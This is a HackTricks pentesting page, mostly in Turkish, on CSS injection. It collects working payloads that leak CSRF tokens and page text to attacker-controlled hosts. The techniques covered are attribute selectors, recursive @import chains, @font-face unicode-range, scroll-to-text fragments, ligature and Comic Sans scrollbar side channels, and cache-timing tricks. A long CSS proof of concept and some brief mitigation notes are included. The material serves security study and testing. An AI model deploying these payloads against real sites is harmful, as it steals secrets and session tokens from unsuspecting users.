CSS Injection

Reading time: 19 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

CSS Injection

Attribute Selector

CSS seçicileri, bir input öğesinin name ve value özniteliklerinin değerleriyle eşleşecek şekilde hazırlanmıştır. Eğer giriş öğesinin değer özniteliği belirli bir karakterle başlıyorsa, önceden tanımlanmış bir dış kaynak yüklenir:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Ancak, bu yaklaşım gizli giriş öğeleri (type="hidden") ile çalışırken bir sınıra sahiptir çünkü gizli öğeler arka planları yüklemez.

Gizli Öğeler için Bypass

Bu sınırlamayı aşmak için, ~ genel kardeş kombinatörünü kullanarak bir sonraki kardeş öğeyi hedefleyebilirsiniz. CSS kuralı, gizli giriş öğesini takip eden tüm kardeşlere uygulanır ve arka plan resminin yüklenmesine neden olur:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Bu tekniğin istismarına dair pratik bir örnek sağlanan kod parçasında detaylandırılmıştır. Bunu buradan görüntüleyebilirsiniz.

CSS Enjeksiyonu için Ön Koşullar

CSS Enjeksiyonu tekniğinin etkili olabilmesi için belirli koşulların sağlanması gerekmektedir:

  1. Yük Uzunluğu: CSS enjeksiyon vektörü, oluşturulmuş seçicileri barındıracak kadar uzun yükleri desteklemelidir.
  2. CSS Yeniden Değerlendirmesi: Sayfayı çerçeveleme yeteneğine sahip olmalısınız; bu, yeni oluşturulmuş yüklerle CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir.
  3. Dış Kaynaklar: Bu teknik, dışarıda barındırılan resimlerin kullanılabilme yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanabilir.

Kör Özellik Seçici

bu yazıda açıklandığı gibi, :has ve :not seçicilerini birleştirerek kör öğelerden bile içerik tanımlamak mümkündür. Bu, CSS enjeksiyonunu yükleyen web sayfasının içinde ne olduğunu bilmediğinizde çok faydalıdır.
Ayrıca, bu seçicileri aynı türdeki birkaç bloktan bilgi çıkarmak için kullanmak da mümkündür:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Bunu aşağıdaki @import tekniği ile birleştirerek, blind-css-exfiltration ile kör sayfalardan çok fazla bilgi sızdırmak mümkündür.

@import

Önceki tekniğin bazı dezavantajları vardır, ön koşulları kontrol edin. Ya kurbanın birden fazla bağlantı alabilmesi gerekir ya da CSS enjeksiyonuna açık sayfayı iframe'leyebilmeniz gerekir.

Ancak, tekniğin kalitesini artırmak için CSS @import kullanan başka bir akıllı teknik vardır.

Bu ilk olarak Pepe Vila tarafından gösterilmiştir ve şöyle çalışır:

Her seferinde on farklı yük ile aynı sayfayı tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz (bu, kurbana gönderilecek yük):

css
@import url("//attacker.com:5001/start?");
  1. İthalat, saldırganlardan bazı CSS scriptleri alacak ve tarayıcı bunu yükleyecek.
  2. Saldırganın göndereceği CSS scriptinin ilk kısmı, saldırganın sunucusuna tekrar başka bir @import olacak.
  3. Saldırganın sunucusu bu isteğe henüz yanıt vermeyecek, çünkü bazı karakterleri sızdırmak istiyoruz ve ardından bu ithalatı sızdırılacak sonraki karakterlerle birlikte yükleyeceğiz.
  4. Yüklemenin ikinci ve daha büyük kısmı, bir nitelik seçici sızıntı yüklemesi olacak.
  5. Bu, saldırganın sunucusuna sırrın ilk ve son karakterini gönderecek.
  6. Saldırganın sunucusu sırrın ilk ve son karakterini aldıktan sonra, adım 2'de talep edilen ithalata yanıt verecek.
  7. Yanıt, adım 2, 3 ve 4'tekiyle tam olarak aynı olacak, ancak bu sefer sırrın ikinci karakterini ve ardından sondan bir önceki karakteri bulmaya çalışacak.

Saldırgan, sırrı tamamen sızdırana kadar bu döngüyü takip edecek.

Orijinal Pepe Vila'nın bu açığı istismar etmek için kodunu burada bulabilirsiniz veya neredeyse aynı kodu ama yorumlu burada bulabilirsiniz.

note

Script, her seferinde 2 karakter keşfetmeye çalışacak (başlangıçtan ve sondan) çünkü nitelik seçici, şunları yapmaya izin verir:

/* value^=  değerin başlangıcını eşleştirmek için */
input[value^="0"] {
  --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  değerin sonunu eşleştirmek için */
input[value$="f"] {
  --e0: url(http://localhost:5001/leak?post=f);
}

Bu, scriptin sırrı daha hızlı sızdırmasına olanak tanır.

warning

Bazen script, öğrenilen ön ek + son ekin zaten tam bayrak olduğunu doğru bir şekilde tespit edemez ve ileri (ön ekte) ve geri (son ekte) devam eder ve bir noktada takılır.
Endişelenmeyin, sadece çıktıyı kontrol edin çünkü orada bayrağı görebilirsiniz.

Diğer seçiciler

CSS seçicileri ile DOM parçalarına erişmenin diğer yolları:

  • .class-to-search:nth-child(2): Bu, DOM'daki "class-to-search" sınıfına sahip ikinci öğeyi arayacaktır.
  • :empty seçici: Örneğin, bu yazıda** kullanılmıştır:**
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Referans: CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma, Hata Tabanlı XS-Search PoC @terjanq tarafından

Genel amaç, kontrol edilen bir uç noktadan özel bir font kullanmak ve metnin (bu durumda, 'A') yalnızca belirtilen kaynak (favicon.ico) yüklenemediğinde bu fontla görüntülenmesini sağlamaktır.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Özel Yazı Tipi Kullanımı:
  • Özel bir yazı tipi, <head> bölümündeki <style> etiketinde @font-face kuralı kullanılarak tanımlanır.
  • Yazı tipinin adı poc olarak belirlenmiş ve harici bir uç noktadan (http://attacker.com/?leak) alınmaktadır.
  • unicode-range özelliği U+0041 olarak ayarlanmış, bu da belirli Unicode karakteri 'A'yı hedef alır.
  1. Yedek Metin ile Nesne Elemanı:
  • <body> bölümünde id="poc0" olan bir <object> elemanı oluşturulmuştur. Bu eleman, http://192.168.0.1/favicon.ico adresinden bir kaynak yüklemeye çalışır.
  • Bu elemanın font-family değeri, <style> bölümünde tanımlandığı gibi 'poc' olarak ayarlanmıştır.
  • Eğer kaynak (favicon.ico) yüklenemezse, <object> etiketinin içindeki yedek içerik (harf 'A') görüntülenir.
  • Harici kaynak yüklenemezse, yedek içerik ('A') özel yazı tipi poc kullanılarak render edilir.

Kaydırma ile Metin Parçasına Stil Verme

:target psödo-sınıfı, bir URL parçası ile hedeflenen bir elementi seçmek için kullanılır; bu, CSS Seçicileri Seviye 4 spesifikasyonunda belirtilmiştir. ::target-text'in, metin açıkça parça tarafından hedeflenmedikçe hiçbir elementi eşleştirmediğini anlamak önemlidir.

Bir güvenlik endişesi, saldırganların Kaydırma ile Metin parçası özelliğini kullanarak, HTML enjeksiyonu yoluyla kendi sunucularından bir kaynak yükleyerek bir web sayfasında belirli metinlerin varlığını doğrulamalarına olanak tanımasıdır. Yöntem, şu şekilde bir CSS kuralı enjekte etmeyi içerir:

css
:target::before {
content: url(target.png);
}

Bu tür senaryolarda, sayfada "Administrator" metni mevcutsa, target.png kaynağı sunucudan talep edilir ve metnin varlığını gösterir. Bu saldırının bir örneği, enjekte edilen CSS'i bir Scroll-to-text parçasıyla birlikte içeren özel olarak hazırlanmış bir URL aracılığıyla gerçekleştirilebilir:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Burada, saldırı HTML enjeksiyonunu manipüle ederek CSS kodunu iletmeyi amaçlamakta ve "Administrator" metnini Scroll-to-text fragment (#:~:text=Administrator) aracılığıyla hedef almaktadır. Metin bulunduğunda, belirtilen kaynak yüklenir ve bu durum istemeden saldırgana varlığını sinyal eder.

Azaltma için aşağıdaki noktalar dikkate alınmalıdır:

  1. Kısıtlı STTF Eşleşmesi: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da rastgele gizli bilgilerin veya token'ların sızma yeteneğini sınırlamaktadır.
  2. Üst Düzey Tarayıcı Bağlamlarına Kısıtlama: STTF yalnızca üst düzey tarayıcı bağlamlarında çalışır ve iframe'ler içinde işlev görmez, bu da herhangi bir istismar girişimini kullanıcıya daha belirgin hale getirir.
  3. Kullanıcı Etkileşimi Gerekliliği: STTF'nin çalışması için bir kullanıcı etkileşimi gereklidir, bu da istismarların yalnızca kullanıcı tarafından başlatılan gezintilerle mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilme riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomasyonunu kolaylaştırabilecek belirli koşulları ve geçiş yollarını (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) belirtmektedir.

Bu mekanizmaların ve potansiyel zayıflıkların farkında olmak, web güvenliğini sağlamak ve bu tür istismar taktiklerine karşı korunmak için anahtardır.

Daha fazla bilgi için orijinal rapora bakın: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Bu teknikle bir CTF için bir istismar kontrol edebilirsiniz.

@font-face / unicode-range

Sayfada mevcut olan belirli unicode değerleri için dış fontlar belirtebilirsiniz ve bu fontlar yalnızca o unicode değerleri sayfada bulunduğunda toplanacaktır. Örneğin:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Açıklanan teknik, font ligatürlerini kullanarak bir düğümden metin çıkarmayı ve genişlikteki değişiklikleri izlemeyi içerir. Süreç birkaç adımdan oluşur:

  1. Özel Fontların Oluşturulması:
  • SVG fontları, iki karakter dizisini temsil eden bir glif için büyük bir genişlik ayarlayan horiz-adv-x niteliğine sahip gliflerle oluşturulur.
  • Örnek SVG glifi: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, burada "XY" iki karakter dizisini belirtir.
  • Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.
  1. Genişlik Değişikliklerinin Tespiti:
  • Metnin sarılmamasını sağlamak için CSS kullanılır (white-space: nowrap) ve kaydırıcı stilini özelleştirir.
  • Farklı bir şekilde stillendirilmiş yatay bir kaydırıcının görünümü, metinde belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin mevcut olduğunun bir göstergesi (oracle) olarak işlev görür.
  • İlgili CSS:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Sömürü Süreci:
  • Adım 1: Genişliği büyük olan karakter çiftleri için fontlar oluşturulur.
  • Adım 2: Büyük genişlik glifinin (bir karakter çiftinin ligatürü) render edildiğini tespit etmek için kaydırıcı tabanlı bir hile kullanılır, bu da karakter dizisinin varlığını gösterir.
  • Adım 3: Bir ligatür tespit edildiğinde, tespit edilen çifti içeren ve bir önceki veya sonraki karakter ekleyen üç karakter dizisini temsil eden yeni glifler üretilir.
  • Adım 4: Üç karakterli ligatürün tespiti gerçekleştirilir.
  • Adım 5: Süreç tekrarlanır, metnin tamamı yavaş yavaş açığa çıkar.
  1. Optimizasyon:
  • Mevcut başlatma yöntemi olan <meta refresh=... optimal değildir.
  • Daha verimli bir yaklaşım, sömürünün performansını artıran CSS @import hilesini içerebilir.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

Bu hile, bu Slackers thread içinde yayımlandı. Bir metin düğümünde kullanılan karakter seti, tarayıcıda yüklü olan varsayılan fontlar kullanılarak sızdırılabilir: dışarıdan -veya özel- fontlara ihtiyaç yoktur.

Kavram, bir div'in genişliğini kademeli olarak artırmak için bir animasyon kullanmayı içerir, böylece bir karakter bir seferde metnin 'sonek' kısmından 'ön ek' kısmına geçiş yapar. Bu süreç, metni iki bölüme ayırır:

  1. Ön Ek: İlk satır.
  2. Sonek: Sonraki satır(lar).

Karakterlerin geçiş aşamaları şu şekilde görünecektir:

C
ADB

CA
DB

CAD
B

CADB

Bu geçiş sırasında, unicode-range hilesi her yeni karakterin ön ekle birleştiği anda tanımlanmasını sağlamak için kullanılır. Bu, fontu Comic Sans'a değiştirerek gerçekleştirilir; bu font, varsayılan fonta göre belirgin şekilde daha yüksektir ve dolayısıyla dikey bir kaydırıcıyı tetikler. Bu kaydırıcının görünümü, dolaylı olarak ön ekte yeni bir karakterin varlığını ortaya çıkarır.

Bu yöntem, benzersiz karakterlerin görünmesiyle tespit edilmesini sağlasa da, hangi karakterin tekrarlandığını belirtmez, sadece bir tekrarın gerçekleştiğini gösterir.

note

Temelde, unicode-range bir karakteri tespit etmek için kullanılır, ancak dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekir.
Karakter bulunduğunda, önceden yüklenmiş Comic Sans fontu ile verilir, bu da karakteri büyütür ve bir kaydırıcıyı tetikler; bu da bulunan karakteri sızdırır.

Check the code extracted from the PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Metin düğümü sızdırma (III): varsayılan bir font ile karakter setini sızdırma, öğeleri gizleyerek (harici varlıklar gerektirmiyor)

Referans: Bu, bu yazıda başarısız bir çözüm olarak belirtilmiştir

Bu durum, önceki duruma çok benziyor, ancak bu durumda belirli karakterlerin diğerlerinden daha büyük olmasının amacı, bir butonun bot tarafından basılmaması veya yüklenmeyecek bir görüntü gibi bir şeyi gizlemektir. Böylece eylemi (veya eylemsizliği) ölçebilir ve belirli bir karakterin metin içinde mevcut olup olmadığını bilebiliriz.

Metin düğümü sızdırma (III): önbellek zamanlaması ile karakter setini sızdırma (harici varlıklar gerektirmiyor)

Referans: Bu, bu yazıda başarısız bir çözüm olarak belirtilmiştir

Bu durumda, metinde bir karakterin olup olmadığını sızdırmayı, aynı kaynaktan sahte bir font yükleyerek deneyebiliriz:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Eğer bir eşleşme varsa, font /static/bootstrap.min.css?q=1'den yüklenecektir. Başarılı bir şekilde yüklenmeyecek olsa da, tarayıcı bunu önbelleğe almalıdır ve önbellek olmasa bile, 304 not modified mekanizması vardır, bu nedenle yanıt diğer şeylerden daha hızlı olmalıdır.

Ancak, önbellekli yanıt ile önbelleksiz yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunları belirtti: Ancak, test ettikten sonra, ilk sorunun hızın çok farklı olmadığı ve ikinci sorunun botun disk-cache-size=1 bayrağını kullanması olduğunu buldum, bu gerçekten düşünceli.

Metin düğümü dışa aktarımı (III): yüzlerce yerel "font" yüklemesiyle charset'i zamanlayarak sızdırma (harici varlık gerektirmiyor)

Referans: Bu, bu yazıda başarısız bir çözüm olarak belirtilmiştir

Bu durumda, bir eşleşme gerçekleştiğinde aynı kaynaktan yüzlerce sahte font yüklemek için CSS belirtebilirsiniz. Bu şekilde, ne kadar zaman aldığını ölçebilir ve bir karakterin görünüp görünmediğini bulabilirsiniz:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Ve botun kodu şöyle görünüyor:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Yani, eğer font eşleşmiyorsa, bota erişim sırasında yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak, eğer bir font eşleşmesi varsa, fontu almak için birden fazla istek gönderilecektir, bu da ağda sürekli bir aktivite olmasına neden olacaktır. Sonuç olarak, durdurma koşulunu karşılamak ve yanıt almak daha uzun sürecektir. Bu nedenle, yanıt süresi bir font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin